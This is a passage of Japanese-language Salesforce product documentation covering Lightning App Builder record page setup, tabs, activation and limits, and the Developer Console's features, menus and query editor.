空のページを作成するには、ページテンプレートを選択します。標準コンポーネントが含まれるページ
を作成するには、システムデフォルトページをコピーします。

3. Lightning アプリケーションビルダーでコンポーネントの追加、編集、削除を行い、ページのレイアウトを
変更します。キャンバスでコンポーネントをドラッグして並び替えます。

4. ページプロパティで、カスタマイズしたページに固有の説明ラベルを指定します。
ページプロパティにアクセスするには、[プロパティ] ペイン最上部のブレッドクラムから[ページ]をクリッ
クします。

5. ページを保存します。
まだ作業が残っています。Lightning Experience ユーザがカスタマイズ済みレコードホームページを使用でき
るようにするには、レコードホームページを有効にする必要があります。ページを初めて保存するときは、
[保存] ダイアログからページを有効にすることができ、その後は [有効化] ボタンを使用して有効にできま
す。

関連トピック:

Lightning ページに関する考慮事項と制限事項
Lightning アプリケーションビルダーを使用した Lightning Experience レコードページでのタブのカスタマイズ
Lightning ページに関する考慮事項と制限事項
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Lightning アプリケーションビルダーを使用した Lightning Experience
レコードページでのタブのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning アプリケーショ
ンビルダーで Lightning
ページを作成および保存
する
• 「アプリケーションの

カスタマイズ」

Lightning アプリケーショ
ンビルダーで Lightning
ページを参照する
• 「設定・定義を参照す

る」

Lightning アプリケーションビルダーを使用して、Lightning Experience のレコード
ページのタブおよびタブセットを作成、更新、削除、順序変更できます。ユー
ザに表示されるタブを設定し、自由に名前を付け、コンポーネントのカスタム
セットを各タブに追加します。
1. [設定] の [Lightning アプリケーションビルダー] リストページから、既存のレ

コードページを開くか、新しいレコードページを作成します。
2. ページに [タブ] コンポーネントを追加します。
3. [タブ] コンポーネントのプロパティで、[タブを追加] をクリックします。

[詳細] タブが追加されます。
4. プロパティペインで [詳細] タブをクリックして、カスタマイズします。他の

標準表示ラベルを選択するか、[カスタム] をクリックしてタブ名を入力しま
す。

メモ: [タブ] コンポーネントのカスタムタブ表示ラベル (パッケージから
インストールされたカスタムタブ表示ラベルを含む) は翻訳されません。
たとえば、英語で「Goals」というカスタムタブを作成した場合、言語が
フランス語に設定されているユーザがそのページを表示すると、タブは
そのまま「Goals」と表示されます。

5. タブに最初のコンポーネントを追加するには、キャンバス上のタブを選択して、直接コンポーネントをド
ロップします。
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6. [タブ] プロパティペインでタブを並び替えるには、タブをドラッグしてドロップします。キャンバス上で
個々のタブのドラッグアンドドロップはできません。

関連トピック:

Lightning Experience のレコードページの設定
Lightning ページに関する考慮事項と制限事項
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Lightning Experience のレコードページの有効化
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning アプリケーショ
ンビルダーで Lightning
ページを作成および保存
する
• 「アプリケーションの

カスタマイズ」

Lightning アプリケーショ
ンビルダーで Lightning
ページを参照する
• 「設定・定義を参照す

る」

カスタムレコードページをユーザに提供する準備ができている場合、Lightning ア
プリケーションビルダー内の有効化機能を使用して、ユーザに提供します。有
効化には 2 つのオプションがあります。カスタムレコードページをすべてのユー
ザのデフォルトのレコードページにするか、特定の Lightning アプリケーション
に割り当てるか、レコードタイプとプロファイルに割り当てます。ページを
Lightning アプリケーション、レコードタイプ、またはプロファイルに割り当てる
と、ユーザは作業中のアプリケーション向けにカスタマイズされたレコードペー
ジにアクセスできます。
1. Lightning アプリケーションビルダーでレコードページを作成するか、既存の

レコードページを開きます。
2. ユーザに提供する準備ができていて編集の必要がないレコードページを開い

た場合は、[有効化] をクリックします。
3. ページを作成した場合や調整が必要なページを開いた場合は、必要な変更を

行い、[保存]、[有効化] の順にクリックします。
レコードページの有効化にはいくつかのオプションがあります。
• ページを組織のオブジェクトのデフォルトにする。
• ページを特定の Lightning アプリケーションのデフォルトのオブジェクト

レコードページにする。
• ページを Lightning アプリケーション、レコードタイプ、およびプロファ

イルの組み合わせに割り当てる。

4. 有効化画面で、選択したオプションのタブをクリックし、ページを有効化す
る手順に従います。

ヒント:

• どのレコードページがどの Lightning アプリケーションに対して有効
になっているかは、オブジェクトマネージャの [Lightningレコードペー
ジ] 関連リストで確認できます。

• ページをアプリケーションまたは組織のデフォルト設定から解除す
る場合は、ページの有効化プロセスをやり直し、デフォルト設定を
削除するオプションを選択します。

• ページを有効にしてから戻って変更を行った場合は、もう一度有効
化する必要はありません。編集後に [保存] をクリックすると、ユー
ザに変更が転送されます。

関連トピック:

Lightning Experience のレコードページの設定
Lightning ページに関する考慮事項と制限事項
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Lightning ページに関する考慮事項と制限事項
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning ページを使用する場合の留意事項をいくつか示します。

一般的な考慮事項
• コンポーネントに関する情報が必要な場合は、クリックするとプロパティペ

インに詳細情報が表示されます。
• レコードページが関連付けられているオブジェクトへのアクセス権がない場

合でも、レコードページを作成、編集できます。ページ上のコンポーネント
を追加、削除、再設定できますが、そのオブジェクトに基づいたコンポーネ
ントのコンテンツは表示されません。

• Lightning アプリケーションビルダーでレコードページを開くと、ページに関
連付けられたオブジェクトで使用できるコンポーネントのみが表示されま
す。個人取引先ページの場合、表示されるコンポーネントの一部は法人取引
先のみに適用されます。

• 取引先の Lightning ページを作成して組織またはアプリケーションのデフォルトとして割り当てると、その
ページは個人取引先には適用されません。

• デフォルトの個人取引先ページの外観は法人取引先ページと同じです。取引先のLightning ページを編集し、
個人取引先向けのレイアウトを作成します。次に、そのページを個人取引先レコードタイプに割り当てま
す。

Lightning ページのタブ
• Salesforce Classic では、現在のタブの右側に表示されるプラスアイコン ( ) をクリックしても [すべてのタブ]

ページに [Lightning ページ]タブは表示されません。また、アプリケーションのタブをカスタマイズするとき
に、[選択可能なタブ] リストに [Lightning ページ] タブは表示されません。

• Salesforce Classic では、[Lightning ページ] タブの [デフォルトで表示] と [デフォルトで非表示] オプションは他
のカスタムタブの場合と同様には機能しません。[デフォルトで表示] または [デフォルトで非表示] のどちら
を選択しても、Salesforce1 で選択したプロファイルの [Lightning ページ] メニュー項目が表示されます。[タブ
を隠す] オプションを選択すると、選択したプロファイルの Lightning ページが非表示になります。

制限事項
• タブコンポーネントには、最大 25 個のタブを配置できます。
• Lightning ページの領域またはタブには、最大 25 個のコンポーネントを配置できます。
• 同じオブジェクトの表示アクションに対して、Visualforce ページまたは Sコントロールの上書きと Lightning

ページの上書きを両方同時に設定できます。Lightning Experience では Lightning ページの上書きが表示されま
す。Salesforce Classic では Visualforce または Sコントロールの上書きが表示されます。

• Lightning アプリケーションビルダーのドロップダウンメニューには、最大 200 項目まで表示できます。数文
字入力すると、それに一致する項目がすべて表示されます。

• 管理パッケージへレコードページをアップロードすることはできません。
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• 個人取引先ページに [潜在的な重複] コンポーネントを追加できますが、このコンポーネントには重複する
個人取引先は表示されません。

• [タブ] コンポーネントのカスタムタブ表示ラベル (パッケージからインストールされたカスタムタブ表示ラ
ベルを含む) は翻訳されません。たとえば、英語で「Goals」というカスタムタブを作成した場合、言語がフ
ランス語に設定されているユーザがそのページを表示すると、タブはそのまま「Goals」と表示されます。

• [3 列] テンプレートは Lightningコンソールアプリケーションを考慮して設計されています。固定比率幅のメ
インの列と 2 つのサイドバーがあります。メインの列の幅は 50% で、サイドの列はそれぞれ 25% です。こ
のテンプレートでサポートされる最低解像度は 1280 ピクセルです。

関連トピック:

Lightning ページのフロー (ベータ) の考慮事項と制限事項
Lightning Experience のレコードページの設定

Lightning ページのフロー (ベータ) の考慮事項と制限事項

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning ページにフローコンポーネントを追加するときには次の点に留意してく
ださい。

メモ: 今回のリリースには、Lightning ページのベータバージョンのフローコ
ンポーネントが含まれています。機能の品質は高いですが、既知の制限が
あります。フローコンポーネントは、Salesforce がドキュメント、プレスリ
リース、または公式声明で正式リリースを発表しない限り、正式リリース
されません。特定期間内の正式リリースあるいはリリースの有無は保証で
きません。現在正式にリリースされている製品および機能に基づいて購入
をご決定ください。Lightning ページのフローコンポーネントに関するフィー
ドバックと提案は、IdeaExchange からお寄せください。

Lightning ページは常に Lightning ランタイムを使用するため、「Lightning ランタイ
ムの制限事項」も確認してください。
Lightning ページからのフローの実行

フローコンポーネントが含まれる Lightning ページをユーザが開くと、ページが読み込まれたときにフロー
が実行されます。フローの最初の画面が表示されるより前に、フローがレコードの作成や削除などを行わ
ないことを確認してください。

入力変数の制限事項
• 次の変数はサポートされていません。

– コレクション変数
– sObject 変数
– sObject コレクション変数
– 選択リスト型または選択リスト (複数選択) 型の変数

• コンポーネントの入力変数には、手動で入力された値のみがサポートされます。
• テキスト入力変数に使用できるのは最大 4,000 文字です。
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リリースの制限事項
• Lightning ページまたは FlexiPage にフローコンポーネントが含まれている場合、次のものはサポートされ

ません。
– Lightning ページを含むパッケージの作成
– Lightning ページまたは FlexiPage を含む Sandbox のコピー
– FlexiPage を含む Trialforce テンプレートの作成

• メタデータ API を使用してフローコンポーネントを含むFlexiPageをリリースする場合、参照されるフロー
がすでに存在している必要があります。存在していない場合は、フローを先にリリースしてからFlexiPage

をリリースします。

関連トピック:

Visual Workflow の制限および考慮事項
Lightning ページ
Lightning ページに関する考慮事項と制限事項
2 列フローの考慮事項
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コードを使用した Salesforce の拡張

カスタムアプリケーションを開発して外部アプリケーションを統合すると、Salesforce組織をユーザにとってさ
らに便利で反応の良いものにすることができます。

コードの作成
Apex プログラミング言語を使用してビジネスロジックを追加するコードを作成したり、Visualforce マーク
アップ言語を使用してユーザインターフェースを作成したりします。API を使用してアプリケーションを統
合し、外部アプリケーションを認証します。
コードのデバッグ
記述したコードのデバッグのために、チェックポイント、ログ、[View State (ビューステート)] タブを使用し
ます。
変更のテスト
テストはアプリケーション成功の鍵となるもので、アプリケーションをお客様にリリースする場合は特に
重要です。アプリケーションが期待どおりに機能し、予期せぬ動作がないことを検証することで、お客様
からの信頼が高まります。
リリース
この項では、コーディングした変更の組織へのリリースについて説明します。

関連トピック:

Salesforce 開発者向けの完全なドキュメント

コードの作成

Apex プログラミング言語を使用してビジネスロジックを追加するコードを作成したり、Visualforce マークアッ
プ言語を使用してユーザインターフェースを作成したりします。API を使用してアプリケーションを統合し、
外部アプリケーションを認証します。

Salesforce 開発ツール
Salesforce では、アプリケーション開発のすべてのフェーズのために、さまざまなツールが用意されていま
す。その多くは [設定] メニューから使用できます。
開発者コンソール
開発者コンソールは、Salesforce 組織のアプリケーションの作成、デバッグ、およびテストに使用できる一
連のツールを備えた統合開発環境です。
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コードの使用
このセクションでは、コードを使用して組織に変更を行う場合に使用できるツールと技術について説明し
ます。

関連トピック:

コードのデバッグ
変更のテスト
リリース
コードのセキュリティ保護
開発者コンソールの機能
開発者コンソールのクエリエディタ

Salesforce 開発ツール
エディション

使用可能なエディション:
Salesforce Classic

使用可能なツールは、使
用している Salesforceのエ
ディションによって異な
ります。

Salesforce では、アプリケーション開発のすべてのフェーズのために、さまざま
なツールが用意されています。その多くは [設定] メニューから使用できます。
さまざまな Salesforce 開発ツールの機能の概要を次の表に示します。

使用可能な場所リ
リー
ス

テス
ト

デ
バッ
グ

コー
ド

ツール

あなたの名前 また
はクイックアクセ
スメニュー ( )

Force.com 開発者コンソール

developer.salesforce.comForce.com IDE

設定または個人設
定

Visualforce 開発モードフッ
ター

設定コードエディタ

設定Apex テスト実行

設定変更セット

設定Force.com 移行ツール
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メモ: Force.com IDEは Salesforce により提供される、ユーザとパートナーをサポートする無料のリソースで
すが、Salesforce のマスターサブスクリプション契約 (MSA) におけるサービスの一部とはみなされません。

関連トピック:

開発者コンソールの機能
変更の作成ツールとリリースツールの選択
開発モードの有効化

開発者コンソール
開発者コンソールは、Salesforce組織のアプリケーションの作成、デバッグ、およびテストに使用できる一連の
ツールを備えた統合開発環境です。

開発者コンソールを開く
Salesforce ClassicまたはLightning Experienceでは、数回クリックするだけで開発者コンソールを開くことができ
ます。開発者コンソールは、Salesforce 組織のアプリケーションの作成、デバッグ、およびテストに使用で
きる一連のツールを備えた統合開発環境です。
開発者コンソールの機能
開発者コンソールは、多くの開発タスクに役立ちます。
開発者コンソールユーザインターフェースの概要
開発者コンソールには、アプリケーションをコーディング、デバッグ、テストするための便利なツールの
コレクションが含まれています。
開発者コンソールコマンドラインリファレンス
開発者コンソールには、さまざまな便利なコマンドのコマンドラインが含まれます。開発者コンソールの
コマンドラインウィンドウを開いたり閉じたりするには、Ctrl+Shift+L キーを押します。
開発者コンソールワークスペース
ワークスペースは、開発者コンソールのメインパネルにあり、一連のリソースを表すタブで構成されます。

開発者コンソールを開く

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

「すべてのデータの参照」開発者コンソールを使用する

「Apex 開発」Apex を匿名実行する

「API の有効化」[クエリ] タブで、コード検索を使用して、
SOQL または SOSL を実行する

「Apex 開発」Apex クラスとトリガへの変更を保存す
る

「アプリケーションのカスタマイズ」Visualforce ページおよびコンポーネント
への変更を保存する
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「アプリケーションのカスタマイズ」Lightning リソースへの変更を保存する

Salesforce Classic または Lightning Experience では、数回クリックするだけで開発者コンソールを開くことができま
す。開発者コンソールは、Salesforce組織のアプリケーションの作成、デバッグ、およびテストに使用できる一
連のツールを備えた統合開発環境です。
Salesforce Classic から開発者コンソールを開く手順は、次のとおりです。
1. あなたの名前 をクリックします。
2. [開発者コンソール] をクリックします。
Lightning Experience から開発者コンソールを開く手順は、次のとおりです。
1. クイックアクセスメニュー ( ) をクリックします。
2. [開発者コンソール] をクリックします。

開発者コンソールの機能

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

「すべてのデータの参照」開発者コンソールを使用する

「Apex 開発」Apex を匿名実行する

「API の有効化」[クエリ] タブで、コード検索を使用して、
SOQL または SOSL を実行する

「Apex 開発」Apex クラスとトリガへの変更を保存す
る

「アプリケーションのカスタマイズ」Visualforce ページおよびコンポーネント
への変更を保存する

「アプリケーションのカスタマイズ」Lightning リソースへの変更を保存する

開発者コンソールは、多くの開発タスクに役立ちます。

開発者コンソールで実行できるタスクは?

デバッグとトラブルシューティング
開発者コンソールには、ロジックの問題を効率的に追跡するための便利なツールセットが用意されています。
• ログを表示する: [Logs (ログ)] タブを使用して、ログのリストを表示します。ログをログインスペクタで開き

ます。ログインスペクタは、操作のソース、その操作のトリガ、その後の状況を表示する、コンテキスト
依存の実行ビューアです。このツールを使用して、データベースイベント、Apex 処理、ワークフロー、お
よび入力規則ロジックを含むデバッグログを検査できます。

• Apex コードにチェックポイントを設定して表示する: 開発者コンソールを使用してチェックポイントを設定
し、エラーの原因を特定できます。たとえば、特定の要求でエラーが生成される原因を把握する場合、実
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行を確認し、問題を起こしているロジックを特定して、チェックポイントを設定できます。プロセスを再
実行すると、指定した時点での要求を調査して、コードの改良方法を詳細に把握できます。開発者コンソー
ルは、従来のデバッガのように実行を停止することはできませんが、ほぼ同じようにクラウド開発者に表
示されるので、System.debug コマンドを使用したコード調査の必要性が低減されます。

ソースコードの編集と操作
開発者コンソールでは、コードファイルの参照、オープン、編集、作成ができます。
• 組織のパッケージを参照する: 組織で作成されたパッケージのコンテンツをナビゲートできます。
• Apex クラスおよびトリガを表示して編集する: Apex トリガおよびクラスを開いて編集したり、カスタムオ

ブジェクト定義の参照専用ビューを開いたりできます。
• Lightning コンポーネントを表示して編集する: Lightning リソース (アプリケーション、コンポーネント、イ

ベント、インターフェースなど) を開いて編集できます。
• Visualforce ページおよびコンポーネントを表示して編集する: Visualforce ページおよびコンポーネントを開い

て編集できます。
• ソースコードエディタを使用する: コードファイルの作業セットを開き、ワンクリックでファイル間を切り

替えることができます。開発者コンソールのソースコードエディタには、Apex コードのオートコンプリー
ト機能が含まれています。

パフォーマンスのテストと検証
開発者コンソールには、コードのテストとパフォーマンスの分析を目的とするさまざまな機能があります。
• Apex コードをテストする: 開発者コンソールを使用して、コードカバー率をチェックし、単体テスト、機能

テスト、回帰テストなどのApexテストを実行できます。堅牢で、エラーのないコードの開発を促進するた
め、Apex は単体テストの作成と実行をサポートします。単体テストは、コード内の特定の部分が正しく機
能していることを確認するクラスメソッドです。単体テストのメソッドは引数を取らず、データベースへ
のデータの確定やメールの送信を行うこともなく、メソッド定義に testMethodキーワードまたは isTest

アノテーションでフラグが付けられています。また、テストメソッドは、テストクラス (isTest アノテー
ションが付加されているクラス) で定義されている必要があります。

• ログでパフォーマンス問題を調査する: ログインスペクタは、操作のソース、その操作のトリガ、その後の
状況を表示する、コンテキスト依存の実行ビューアです。このツールを使用して、データベースイベント、
Apex 処理、ワークフロー、および入力規則ロジックを含むデバッグログを検査できます。パフォーマンス
ツリーでデバッグログを開き、操作のパフォーマンス集計を表示します。[Executed Units (実行単位)] パネル
では、要求が時間別と種類別に細分化され、時間計測がメソッド、クエリ、ワークフロー、コールアウト、
DML、検証、トリガ、ページ別に分類されるため、パフォーマンスの問題がある箇所の特定に役立ちます。
[Timeline (タイムライン)] パネルでは、要求全体のタイムラインビューを表示し、特定のブロックのイベント
を順を追って確認できます。[Limits (制限)] パネルでは、使用済みリソースの集計ビューが提供され、割り当
てられた要求制限に対応付けられます。

SOQL および SOSL クエリの実行
開発者コンソールでは、簡単なインターフェースで SOQL および SOSL クエリを管理できます。
• SOQL および SOSL クエリを編集して実行する: [Query Editor (クエリエディタ)] を使用して、組織のデータを

クエリできます。
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• クエリ結果を表示する: 結果は、[Query Results (クエリ結果)] グリッドに表示され、そこからレコードのオー
プン、作成、更新、削除ができます。複数のオブジェクトを含む SOSL 検索結果では、各オブジェクトが
別々のタブに表示されます。

関連トピック:

開発者コンソールを開く
開発者コンソールユーザインターフェースの概要
開発者コンソールの [File (ファイル)] メニュー
[Logs (ログ)] タブ
ログインスペクタの使用例

開発者コンソールユーザインターフェースの概要
開発者コンソールには、アプリケーションをコーディング、デバッグ、テストするための便利なツールのコレ
クションが含まれています。

開発者コンソールは、次のセクションで編成されています。
1. メニューバー
2. 開いている項目ごとにタブが表示されるワークスペース
3. [Logs (ログ)]、[Tests (テスト)]、および [Problems (問題)] パネル

6531

開発者コンソールコードを使用した Salesforce の拡張



メニューバー
メニーバーには、次のドロップダウンメニューが含まれます。
• [File (ファイル)] メニューでは、リソースを開いたり、作成したりできます。
• [Edit (編集)] メニューでは、コードファイルを検索および編集できます。
• [Debug (デバッグ)] メニューでは、幅広いツールと設定にアクセスできます。
• [Test (テスト)] メニューでは、テストツールにアクセスできます。
• [Workspace (ワークスペース)] メニューでは、ワークスペースを選択および管理できます。
• [Help (ヘルプ)]メニューには、オンラインヘルプへのリンク、ショートカットキーの参照ページ、開発者コ

ンソールの設定ページが含まれています。

ワークスペース
ワークスペースは、開発者コンソールのメインパネルにあり、一連のリソースを表すタブで構成されます。
各タブに表示される詳細ビューまたはエディタは、そのタブで開いているリソースの種別によって決まりま
す。たとえば、ソースコードはソースコードエディタで開き、ログはログインスペクタで開きます。一緒に使
用するリソースのグループごとにワークスペースを作成し、作業を整理しておくことができます。たとえば、
ソースコード用とデバッグログ用にそれぞれワークスペースを作成し、コーディングやテストを行うときに
ワークスペースを切り替えることができます。
「開発者コンソールワークスペース」を参照してください。

[Logs (ログ)]、[Tests (テスト)]、および [Problems (問題)] パネル
開発者コンソールの下部パネルには、便利なタブがまとめられています。
• [Logs (ログ)] タブには、使用可能なログが表示されます。
• [Test (テスト)] タブには、使用可能なテストが表示されます。
• [Checkpoints (チェックポイント)] タブには、使用可能なチェックポイントが表示されます。
• [Query Editor (クエリエディタ)] タブでは、組織のデータに対して SOQL または SOSL クエリを実行できます。
• [View State (表示状態)] タブ (有効になっている場合) では、Visualforce ページのビューステートを調べること

ができます。
• [Progress (進行状況)] タブには、すべての非同期要求がリアルタイムに表示されます。処理中の操作のみを

表示するには、[Hide Finished Runs (完了した実行を非表示)] をクリックします。完了していないリリースを
終了するには、[Cancel All Deployments (すべてのリリースをキャンセル)] をクリックします。リリースを終
了すると、残りのポーリングスレッドが少し遅れて [Progress (進行状況)] パネルに表示されます。部分的な
リリースはできません。ポーリングタスクをすぐにクリアするには、開発者コンソールを更新します。

• [Problems (問題)]タブでは、ソースコードエディタにコンパイルエラーに関する詳細が表示されます。行っ
た変更はバックグラウンドでコンパイルされ、検証されます。コードの編集時には、エラーを含む行の横
にエラーインジケータが表示されます。エラーが発生したコード行に移動するには、[Problems (問題)]タブ
の行をクリックします。

メモ: 開発者コンソールは、20 分間の無操作の後、新しいログ、テスト実行、およびチェックポイントの
ポーリングを停止します。更新を再開するには、[Debug (デバッグ)] > [Resume Updating (更新を続行)]をク
リックします。
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キーボードショートカット
開発者コンソールのキーボードショートカットのリストを表示するには、[Help (ヘルプ)] > [Shortcut Keys (ショー
トカットキー)] をクリックするか、Ctrl + Shift + ? を押します。

関連トピック:

開発者コンソールの機能
開発者コンソールの [File (ファイル)] メニュー
開発者コンソールの [Debug (デバッグ)] メニュー
開発者コンソールのクエリエディタ
[Logs (ログ)] タブ
[Checkpoints (チェックポイント)] タブ

開発者コンソールの [File (ファイル)] メニュー
開発者コンソールの [File (ファイル)] メニューでは、Apex トリガおよびクラス、Visualforce ページとコンポーネ
ント、および静的リソース (テキスト、XML、JavaScript、CSS) を管理できます。含まれるオプションは次のとお
りです。
• New (新規): リソースを作成して、ソースコードエディタで開きます。次のリソースを作成できます。

– Apexクラスまたはトリガ。Apexトリガを作成するには、まずトリガに関連付けるオブジェクトを選択し
ます。

– Lightning アプリケーション、コンポーネント、イベント、インターフェース、またはトークンバンド
ル。詳細は、「Lightning コンポーネントフレームワーク」 (ページ 6620)を参照してください。

– Visualforce ページまたはコンポーネント
– 静的リソースファイル (テキスト、XML、JavaScript、CSS)

• Open (開く): [File Open (ファイルを開く)] ウィンドウを起動して、アプリケーションコードとデータオブジェ
クトを参照して開けるようにします。

• Open Resource (リソースを開く): 名前でファイルを検索できる [Open Resource (リソースを開く)] ウィンドウが
起動します。

• Open Lightning Resources (Lightning リソースを開く): 名前で Lightning コンポーネントリソースを検索できる
[Open Lightning Resources (Lightning リソースを開く)] ウィンドウが起動します。

• Open Log (ログを開く): 選択したログをログインスペクタで開きます。ログには [Logs (ログ)] タブからもア
クセスできます。

• Open Raw Log (未加工のログを開く): 選択したログをプレーンテキストで開きます。
• Download Log (ログをダウンロード): 選択したログのテキストコピーをローカルマシンに保存します。
• Save (保存): 有効なタブの項目を保存します。
• Save All (すべて保存): ワークスペースで開いているすべてのタブの変更を保存します。連動する変更一式を

保存するには、このオプションを使用します。
• Delete (削除): 有効なタブの項目を削除します。Apex クラス、トリガ、Visualforce ページ、静的リソースファ

イルのみを削除できます。
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• Close (閉じる): 有効なタブを閉じます。
• Close All (すべて閉じる): ワークスペースで開いているすべてのタブを閉じます。保存されていない変更を含

むタブがある場合は、保存するように要求されます。

[File (ファイル)] の [Open (開く)] ウィンドウを使用してエンティティ種別を開く
開発者コンソールの [Open (開く)] ウィンドウから、アプリケーションコードとデータオブジェクトを参照
して開くことができます。

関連トピック:

[File (ファイル)] の [Open (開く)] ウィンドウを使用してエンティティ種別を開く
ソースコードエディタ
オブジェクトインスペクタ

[File (ファイル)] の [Open (開く)] ウィンドウを使用してエンティティ種別を開く
開発者コンソールの [Open (開く)] ウィンドウから、アプリケーションコードとデータオブジェクトを参照して
開くことができます。

[Open (開く)] ウィンドウで項目に移動する手順は、次のとおりです。
1. [Entity Type (エンティティ種別)] 列で、検索する項目の種別をクリックします。
2. [Entities (エンティティ)] 列で、調べる項目をスクロールして検索します。

表示項目を絞り込むには、[Filter (検索条件)]テキストボックスをクリックし、照合する検索条件を入力しま
す。

3. [Related (関連)] 列の関連項目を表示するには、項目を 1 回クリックします。
たとえば、オブジェクトを使用する Apex クラスを表示するには、そのオブジェクトをクリックします。

4. 新しいタブで項目を開くには、項目をダブルクリックするか、選択して [Open (開く)] をクリックします。
コードファイルはソースコードエディタで開き、データオブジェクトはオブジェクトインスペクタビュー
で開きます。

[File (ファイル)] > [Open (開く)] ウィンドウでは、組織のパッケージのコンテンツを参照して開くことができま
す。パッケージの完全なコンテンツを表示し、パッケージに含まれるコードファイルとカスタムオブジェクト
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を開くことができます。リストにカスタム項目や入力規則などのパッケージ項目が表示されますが、それらの
詳細は表示できません。

メモ: 組織にインストールした管理パッケージのコンテンツを参照、編集することはできません。自分で
作成したエンティティと同様に、インストール済みの未管理パッケージのクラス、オブジェクト、その
他のエンティティを参照し、開き、編集することができます。
[Packages (パッケージ)] エンティティ種別には自分で作成したパッケージのみが含まれ、インストールした
管理パッケージや未管理パッケージは含まれません。

関連トピック:

ソースコードエディタ
ログインスペクタ
オブジェクトインスペクタ

開発者コンソールの [Edit (編集)] メニュー
開発者コンソールの[Edit (編集)]メニューでは、コードファイルを検索および編集できます。含まれるオプショ
ンは次のとおりです。
• Find (検索): 選択したテキストの現在のビューを検索します。テキストが選択されていない場合、ブラウザ

の検索ダイアログが開きます。
• Find Next (次を検索): 現在のビューで選択または指定したテキストの次の一致を検索します。
• Find/Replace (検索/置換): 現在のビューで選択または指定したテキストを検索して置換します。
• Search in Files (ファイルを検索): すべてのコードファイルのコンテンツを検索する検索ダイアログを開きま

す。
• Fix Indentation (インデントを修正): 現在のコードファイルのインデントを修正します。

開発者コンソールの [Debug (デバッグ)] メニュー
開発者コンソールの [Debug (デバッグ)] メニューでは、ログの管理と匿名 Apex の実行ができます。含まれるオ
プションは次のとおりです。
• [Open Execute Anonymous Window (実行匿名ウィンドウを開く)]: 新しいウィンドウを開き、テスト用の Apex

コードを入力できます。「匿名 Apex コードの実行」を参照してください。
• Execute Last (前回のコードを実行): [Enter Apex Code (Apex コードを入力)] ウィンドウの最新の入力内容を実行

します。
• Switch Perspective (パースペクティブを切り替え): 使用可能な標準およびカスタムパースペクティブの一覧

からパースペクティブを選択します。「ログインスペクタ」を参照してください。
• View Log Panels (ログパネルを参照): パースペクティブで使用できるパネルの一覧を表示します。
• Perspective Manager (パースペクティブマネージャ): パースペクティブマネージャを開きます。「ログインス

ペクタのパースペクティブの管理」を参照してください。
• Save Perspective (パースペクティブを保存): 開いてから現在のパースペクティブに加えた変更を保存します。
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• Save Perspective As (名前を付けてパースペクティブを保存): 現在のパースペクティブのコピーを別の名前で
保存します。

• Auto Hide Logs (ログを自動で非表示): ページを更新するときに既存のログをクリアするには、このオプショ
ンを選択します。

• Show My Current Logs Only (私の現在のログのみ表示): 組織で保存されているすべてのログを、他のユーザに
よって新しく生成されたログも含めて表示するには、このオプションを選択解除します (デフォルトで選
択)。

• Show My Current Checkpoints Only (自分の現在のチェックポイントのみ表示): 組織で現在保存されているすべ
てのチェックポイントを、他のユーザによって新しく生成されたチェックポイントも含めて表示するには、
このオプションを選択解除します (デフォルトで選択)。

• Clear (クリア): キャッシュから現在のデータを消去し、表示を更新するには、[Log Panel (ログパネル)]、
[Checkpoint Results Panel (チェックポイント結果パネル)]、または [Checkpoint Locations (チェックポイントの
位置)] を選択します。

• Resume Updating (更新を続行): サーバへの接続を更新します。このオプションは、操作がないためにポーリ
ングが中断された場合にのみ表示されます。

• Change Log Levels (ログレベルを変更): 今後の要求のログレベルを定義するためのログ設定ダイアログを開き
ます。「デバッグログレベル」を参照してください。

メモ: [Debug (デバッグ)] メニューの一部のオプションは、ログが生成されるまでアクセスできません。

関連トピック:

匿名 Apex コードの実行
ログインスペクタ
ログインスペクタのパースペクティブの管理
デバッグログレベル

開発者コンソールのクエリエディタ
開発者コンソールのクエリエディタを使用すると、組織のデータに対して SOQL クエリまたは SOSL 検索を実行
できます。[History (履歴)] ペインには、すばやく再利用できるように最新のクエリ 10 個が表示されます。結果
は [Query Results (クエリ結果)] グリッドに表示され、そこからレコードを開いたり、作成、更新、削除したりで
きます。複数のオブジェクトを含む SOSL 検索結果では、各オブジェクトが別々のタブに表示されます。
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SOQL クエリまたは SOSL 検索の実行
開発者コンソールのクエリエディタパネルで、SOQL クエリまたは SOSL 検索を実行できます。
クエリプランの取得
大量のレコードに対するクエリの実行を最適化して実行時間を短縮するには、クエリ実行プランツールを
使用します。SOQLクエリ、SOSL検索、レポート、リストビューのクエリプランを表示できます。組織でカ
スタムインデックスを使用できる場合は、クエリプランを見て Salesforce サポートにカスタムインデックス
を要求する時点を判断します。
[Query Results (クエリ結果)] グリッド
[Query Results (クエリ結果)] グリッドには各レコードが 1 行として表示されます。開発者コンソールから離れ
ずにレコードを作成、更新、削除できます。複数のオブジェクトを含む SOSL検索結果では、各オブジェク
トが別々のタブに表示されます。

関連トピック:

開発者コンソールの機能

SOQL クエリまたは SOSL 検索の実行
開発者コンソールのクエリエディタパネルで、SOQL クエリまたは SOSL 検索を実行できます。
1. [Query Editor (クエリエディタ)] パネルに SOQL クエリまたは SOSL 検索を入力します。
2. データエンティティの代わりに Tooling エンティティをクエリする場合は、[Use Tooling API (Tooling API を使

用)] をクリックします。
3. [Execute (実行)]をクリックします。クエリでエラーが発生した場合、エラーは [Query Editor (クエリエディタ)]

パネルの下部に表示されます。結果は開発者コンソールワークスペースの [Query Results (クエリ結果)] グリッ
ドに表示されます。
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4. 警告: クエリを再実行すると、[Query Results (クエリ結果)] グリッドの保存されていない変更は失われま
す。

クエリを再実行するには、[Refresh Grid (グリッドを更新)]をクリックするか、[History (履歴)] パネルでクエリ
